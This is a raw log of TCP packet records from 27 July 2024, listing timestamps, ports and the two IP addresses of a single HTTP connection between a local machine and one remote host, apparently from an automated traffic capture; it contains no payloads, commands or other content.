Jul 27, 2024 03:19:23.227402925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227411985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227426052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227430105 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227441072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227444887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227454901 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227468967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227469921 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227483988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227490902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227504015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227523088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227525949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227536917 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227547884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227550983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227565050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227571011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227580070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227593899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227595091 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227610111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227610111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227623940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227637053 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227639914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227654934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227658033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227669954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227683067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227684021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227699041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227700949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227714062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227720022 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227735043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227751017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227756023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227771997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.227773905 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227796078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.227809906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261181116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261198997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261223078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261238098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261253119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261265039 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261281967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261295080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261307001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261322975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261333942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261348009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261358023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261373043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261384010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261394978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261410952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261416912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261430979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261445999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261468887 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261480093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261480093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261480093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261497021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261507034 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261518955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261528969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261542082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261550903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261564016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261575937 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261588097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261596918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261619091 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261629105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261643887 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261663914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261671066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261677980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261694908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261706114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261720896 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261734962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261745930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261754036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261766911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261778116 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261790037 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261801004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261812925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261821985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261845112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261852026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261867046 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261883974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261892080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261900902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261914015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261928082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261936903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261944056 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261960983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261967897 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.261981010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.261992931 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262008905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262018919 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262038946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262048006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262061119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262070894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262090921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262113094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262128115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262136936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262149096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262161970 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262172937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262182951 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262207031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262212992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262227058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262238979 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262249947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262260914 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262285948 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262293100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262305975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262317896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262340069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262346029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262357950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262370110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262383938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262392998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262407064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262415886 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262428999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262443066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262456894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262468100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262481928 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262501955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262514114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262521029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262536049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262553930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262559891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262568951 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262581110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262589931 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262603045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262613058 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262625933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262634039 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262655020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262664080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262676954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262686014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262698889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262707949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262722015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262732029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262744904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262756109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262768030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262778044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262799978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262806892 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262820959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262830973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262842894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262855053 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262866974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262876034 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262888908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262898922 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262912035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262921095 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262933969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262942076 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262955904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262964964 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.262976885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.262986898 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.263000965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.263009071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.263036966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313313007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313339949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313355923 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313380957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313400984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313414097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313427925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313448906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313460112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313476086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313492060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313503027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313519001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313543081 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313556910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313575983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313591003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313606024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313636065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313636065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313647985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313669920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313682079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313682079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313697100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313709021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313726902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313738108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313751936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313761950 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313795090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313806057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313821077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313838005 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313844919 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313855886 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313869953 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313877106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313891888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313910007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313915968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313925028 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313937902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313956022 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313961983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.313978910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.313985109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.314003944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.314011097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.314022064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.314034939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.314048052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.314070940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.314080954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.314097881 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.314112902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.314127922 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.314137936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.314152002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.314172029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.314181089 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.314181089 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.314198971 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.314208984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.314224005 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.314233065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.314244032 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.314256907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.314279079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.348875046 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.348901033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.348920107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.348936081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.348958969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.348973036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.348988056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349004030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349023104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349030018 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349040031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349057913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349064112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349075079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349095106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349102020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349109888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349122047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349132061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349144936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349154949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349169016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349176884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349189043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349209070 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349216938 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349227905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349244118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349256992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349267006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349278927 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349289894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349298954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349311113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349320889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349349022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349355936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349369049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349383116 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349395037 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349405050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349417925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349435091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349457026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349471092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349484921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349498987 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349514961 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349529982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349544048 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349554062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349571943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349579096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349596024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349602938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349615097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349626064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349637985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349651098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349659920 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349682093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349689007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349704027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349721909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349729061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349737883 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349751949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349762917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349785089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349793911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349807024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349817991 CEST	49713	80	192.168.2.6	185.215.113.16
